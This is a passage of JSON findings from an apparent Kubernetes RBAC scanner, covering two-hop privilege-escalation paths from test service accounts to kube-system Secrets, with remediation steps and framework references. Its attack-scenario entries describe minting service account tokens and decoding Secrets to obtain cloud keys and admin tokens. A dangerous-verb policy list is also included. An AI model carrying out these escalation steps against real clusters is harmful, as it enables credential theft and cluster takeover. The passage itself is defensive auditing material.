      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/foothold-fixtures/foothold-minter:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/foothold-fixtures/foothold-minter` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-minter` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-fixtures/foothold-minter` → `ServiceAccount/foothold-fixtures/foothold-quiet` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount foothold-fixtures/foothold-quiet\n  2. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-minter",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-minter` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/foothold-fixtures/foothold-minter`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-minter`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/foothold-fixtures/foothold-quiet`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-minter` → `ServiceAccount/foothold-fixtures/foothold-quiet`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-minter` → `ServiceAccount/foothold-fixtures/foothold-quiet`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-minter",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount foothold-fixtures/foothold-quiet",
        "source_binding": "foothold-minter",
        "source_role": "foothold-minter",
        "binding_namespace": "foothold-fixtures"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-quiet-secrets",
        "source_role": "foothold-quiet-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/gw-groups/default:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/gw-groups/default` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/gw-groups/default` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/gw-groups/default` → `Group/system:serviceaccounts:gw-groups` via `implicit_group_membership` (member of system:serviceaccounts:gw-groups): is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants\n  2. `Group/system:serviceaccounts:gw-groups` → `/` via `read_secrets` (list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "gw-groups"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/gw-groups/default` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/gw-groups/default`.",
      "`ServiceAccount/gw-groups/default` needs no extra step here: the API server adds `Group/system:serviceaccounts:gw-groups` to every request it authenticates as this identity. No binding lists the members of this group, so anything bound to the group applies to `ServiceAccount/gw-groups/default` as well.",
      "Acting as `Group/system:serviceaccounts:gw-groups`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. implicit_group_membership [member of system:serviceaccounts:gw-groups]",
        "2. read_secrets [list secrets]"
      ],
      "first_action": "implicit_group_membership",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "implicit_group_membership",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `member of system:serviceaccounts:gw-groups` that enables the first hop (`ServiceAccount/gw-groups/default` → `Group/system:serviceaccounts:gw-groups`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `member of system:serviceaccounts:gw-groups` that enables the first hop (`ServiceAccount/gw-groups/default` → `Group/system:serviceaccounts:gw-groups`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "implicit_group_membership",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "gw-groups"
        },
        "to_subject": {
          "kind": "Group",
          "name": "system:serviceaccounts:gw-groups"
        },
        "permission": "member of system:serviceaccounts:gw-groups",
        "gains": "is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "Group",
          "name": "system:serviceaccounts:gw-groups"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "gw-ns-group-secrets",
        "source_role": "gw-secret-lister"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/gw-groups/gw-member:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/gw-groups/gw-member` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/gw-groups/gw-member` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/gw-groups/gw-member` → `Group/system:serviceaccounts:gw-groups` via `implicit_group_membership` (member of system:serviceaccounts:gw-groups): is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants\n  2. `Group/system:serviceaccounts:gw-groups` → `/` via `read_secrets` (list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-member",
      "namespace": "gw-groups"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/gw-groups/gw-member` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/gw-groups/gw-member`.",
      "`ServiceAccount/gw-groups/gw-member` needs no extra step here: the API server adds `Group/system:serviceaccounts:gw-groups` to every request it authenticates as this identity. No binding lists the members of this group, so anything bound to the group applies to `ServiceAccount/gw-groups/gw-member` as well.",
      "Acting as `Group/system:serviceaccounts:gw-groups`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. implicit_group_membership [member of system:serviceaccounts:gw-groups]",
        "2. read_secrets [list secrets]"
      ],
      "first_action": "implicit_group_membership",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "implicit_group_membership",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `member of system:serviceaccounts:gw-groups` that enables the first hop (`ServiceAccount/gw-groups/gw-member` → `Group/system:serviceaccounts:gw-groups`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `member of system:serviceaccounts:gw-groups` that enables the first hop (`ServiceAccount/gw-groups/gw-member` → `Group/system:serviceaccounts:gw-groups`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "implicit_group_membership",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-member",
          "namespace": "gw-groups"
        },
        "to_subject": {
          "kind": "Group",
          "name": "system:serviceaccounts:gw-groups"
        },
        "permission": "member of system:serviceaccounts:gw-groups",
        "gains": "is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "Group",
          "name": "system:serviceaccounts:gw-groups"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "gw-ns-group-secrets",
        "source_role": "gw-secret-lister"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/rbac-fixtures/sa-token-create:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can read **kube-system Secrets** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/foothold-exec/foothold-reader` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/foothold-exec/foothold-reader`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. read_secrets [get,list secrets]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
